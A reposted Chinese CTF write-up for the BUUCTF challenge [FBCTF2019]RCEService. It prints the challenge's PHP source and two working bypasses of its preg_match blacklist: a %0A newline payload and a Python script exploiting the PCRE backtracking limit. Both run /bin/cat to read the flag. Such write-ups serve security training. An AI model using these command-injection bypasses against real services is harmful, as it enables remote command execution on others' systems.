IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> buu-[FBCTF2019]RCEService -> 正文阅读

[PHP知识库]buu-[FBCTF2019]RCEService

buu-[FBCTF2019]RCEService

知识点:

linux命令的使用和目录查询

preg_match()函数的绕过

P神:PHP利用PCRE回溯次数限制绕过某些安全限制

wp

在这里插入图片描述

根据题目的提示,应该就是利用json数据造成远程rce,先小试一下

{"cmd":"ls"}

在这里插入图片描述

发现可以显示,然后尝试其它危险函数,发现都没ban了,卡了好久,无奈查看别的大师傅的wp,原来有源码!

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

简单审计一下,发现过滤掉了好多函数,那现在主要就是去想办法绕过preg_match()函数

方法一:

preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过,payload如下:

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

这里为什么要是用/bin/cat,审计代码会发现,刚开始设置了路径,所以在这里我们要使用cat的绝对路径,那为什么ls可以用呢,猜测应该是ls的二进制在目录下

然后看大佬的wp发现还有一种方法:P神:PHP利用PCRE回溯次数限制绕过某些安全限制

方法二:

可以先参考一下上面的链接了解一下,原理很简单,上脚本:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://1147c940-0749-4183-b3f9-035f43b26a3d.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
<html>
  <body>
    <h1>Web Adminstration Interface</h1>

Attempting to run command:<br/>flag{f8ee7880-edfc-4ed3-8bd9-4d541dcfaa3c}
<br/><br/>
    <form>
      Enter command as JSON:
      <input name="cmd" />
    </form>
  </body>
</html>
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-14 13:46:45  更:2021-08-14 13:47:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 22:43:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码